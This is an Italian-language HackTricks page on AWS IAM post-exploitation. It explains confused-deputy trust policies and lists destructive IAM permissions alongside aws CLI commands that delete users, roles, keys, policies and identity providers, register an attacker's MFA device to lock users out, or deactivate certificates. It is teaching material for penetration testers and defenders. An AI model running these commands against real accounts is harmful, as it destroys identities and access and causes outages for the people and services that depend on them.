# AWS - IAM Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## IAM

Per maggiori informazioni sull'accesso IAM:

{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}

## Confused Deputy Problem

Se permetti a un **account esterno (A)** di accedere a un **role** nel tuo account, probabilmente avrai **0 visibilità** su **chi esattamente può accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**.

Pertanto, quando permetti a un account esterno di accedere a un role nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per poter **assume the role nella tua organizzazione**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso ad A **non potrà accedere al tuo role**.

<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>

Tuttavia, nota che questo "segreto" `ExternalId` **non è un segreto**, chiunque possa **leggere l'IAM assume role policy sarà in grado di vederlo**. Ma finché l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, esso **impedisce a B di abusare di A per accedere al tuo role**.

Esempio:
```json
{
"Version": "2012-10-17",
"Statement": {
"Effect": "Allow",
"Principal": {
"AWS": "Example Corp's AWS Account ID"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "12345"
}
}
}
}
```
> [!WARNING]
> Perché un attacker possa sfruttare un confused deputy, dovrà in qualche modo verificare se i principals dell'account corrente possono impersonare roles in altri account.

### Relazioni di trust inaspettate

#### Wildcard as principal
```json
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Principal": { "AWS": "*" }
}
```
Questa policy **consente a qualsiasi servizio AWS** di assumere il ruolo.

#### Servizio come principal
```json
{
"Action": "lambda:InvokeFunction",
"Effect": "Allow",
"Principal": { "Service": "apigateway.amazonaws.com" },
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
Questa policy **consente a qualsiasi account** di configurare il proprio apigateway per chiamare questa Lambda.

#### S3 as principal
```json
"Condition": {
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
"StringEquals": {
"aws:SourceAccount": "123456789012"
}
}
```
Se un S3 bucket è indicato come principal, poiché gli S3 bucket non hanno un Account ID, se **hai eliminato il tuo bucket e l'attacker lo ha creato** nel proprio account, allora potrebbero abusarne.

#### Non supportato
```json
{
"Effect": "Allow",
"Principal": { "Service": "cloudtrail.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
Un modo comune per evitare i problemi di Confused Deputy è l'uso di una condizione con `AWS:SourceArn` per controllare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (come CloudTrail secondo alcune fonti).

### Eliminazione delle credenziali
Con una qualunque delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere chiavi di accesso, profili di accesso, chiavi SSH, credenziali specifiche per il servizio, profili di istanza, certificati o CloudFront public keys, oppure disassociare ruoli dai profili di istanza. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per i sistemi che dipendono da quelle credenziali, quindi queste autorizzazioni IAM devono essere rigorosamente limitate e monitorate.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
--user-name <Username> \
--access-key-id AKIAIOSFODNN7EXAMPLE

## Remove ssh key of a user
aws iam delete-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### Eliminazione delle identità
Con permessi come `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` o `iam:RemoveUserFromGroup`, un attore può eliminare utenti, ruoli o gruppi — o modificare l'appartenenza ai gruppi — rimuovendo identità e tracce associate. Questo può interrompere immediatamente l'accesso per persone e servizi che dipendono da quelle identità, causando denial-of-service o perdita di accesso, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
```bash
# Delete a user
aws iam delete-user \
--user-name <Username>

# Delete a group
aws iam delete-group \
--group-name <Username>

# Delete a role
aws iam delete-role \
--role-name <Role>
```
###
Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare managed/inline policies, rimuovere versioni di policy o permissions boundaries, e scollegare policy da utenti, gruppi o ruoli. Questo distrugge autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per i principals che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
```bash
# Delete a group policy
aws iam delete-group-policy \
--group-name <GroupName> \
--policy-name <PolicyName>

# Delete a role policy
aws iam delete-role-policy \
--role-name <RoleName> \
--policy-name <PolicyName>
```
### Eliminazione dell'identità federata
Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare provider di identità OIDC/SAML o rimuovere client ID. Questo interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso a utenti e servizi che si basano su SSO fino a quando l'IdP o le configurazioni non vengono ripristinate.
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com

# Delete SAML provider
aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### Attivazione MFA non autorizzata
Con `iam:EnableMFADevice`, un attore può registrare un dispositivo MFA sull'identità di un utente, impedendo all'utente legittimo di effettuare l'accesso. Una volta che un MFA non autorizzato è abilitato, l'utente può rimanere bloccato fino a quando il dispositivo non viene rimosso o reimpostato (nota: se sono registrati più dispositivi MFA, per l'accesso ne basta uno, quindi questo attacco non avrà effetto nel negare l'accesso).
```bash
aws iam enable-mfa-device \
--user-name <Username> \
--serial-number arn:aws:iam::111122223333:mfa/alice \
--authentication-code1 123456 \
--authentication-code2 789012
```
### Manomissione dei metadati di certificati/chiavi
Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Contrassegnando le chiavi/certificati come inattivi o alterando i riferimenti, può interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità.
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
--status Inactive

aws iam update-server-certificate \
--server-certificate-name <Certificate_Name> \
--new-path /prod/
```
### `iam:Delete*`

Il carattere jolly IAM iam:Delete* concede la possibilità di rimuovere molti tipi di risorse IAM — utenti, ruoli, gruppi, policy, chiavi, certificati, dispositivi MFA, versioni della policy, ecc. — e pertanto ha un blast radius molto elevato: un attore a cui viene concesso iam:Delete* può distruggere permanentemente identità, credenziali, policy e artefatti correlati, rimuovere audit/prove e causare interruzioni di servizio o operative. Alcuni esempi sono
```bash
# Delete a user
aws iam delete-user --user-name <Username>

# Delete a role
aws iam delete-role --role-name <RoleName>

# Delete a managed policy
aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
```
### `iam:EnableMFADevice`

Un actor con il permesso `iam:EnableMFADevice` può registrare un dispositivo MFA su un'identità nell'account, a condizione che il user non ne avesse già uno abilitato. Questo può essere usato per interferire con l'accesso di un user: una volta che un attacker registra un dispositivo MFA, il user legittimo potrebbe essere impedito dal sign in perché non controlla l'MFA registrato dall'attacker.

Questo denial-of-access attack funziona solo se il user non aveva alcun MFA registrato; se l'attacker registra un dispositivo MFA per quel user, il user legittimo verrà bloccato da qualsiasi flows che richieda quel nuovo MFA. Se il user ha già uno o più dispositivi MFA sotto il proprio controllo, aggiungere un MFA controllato dall'attacker non blocca il user legittimo — può continuare ad authenticate usando qualsiasi MFA che già possiede.

Per abilitare (registrare) un dispositivo MFA per un user un attacker potrebbe eseguire:
```bash
aws iam enable-mfa-device \
--user-name <Username> \
--serial-number arn:aws:iam::111122223333:mfa/alice \
--authentication-code1 123456 \
--authentication-code2 789012
```
## Riferimenti

- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)

{{#include ../../../../banners/hacktricks-training.md}}
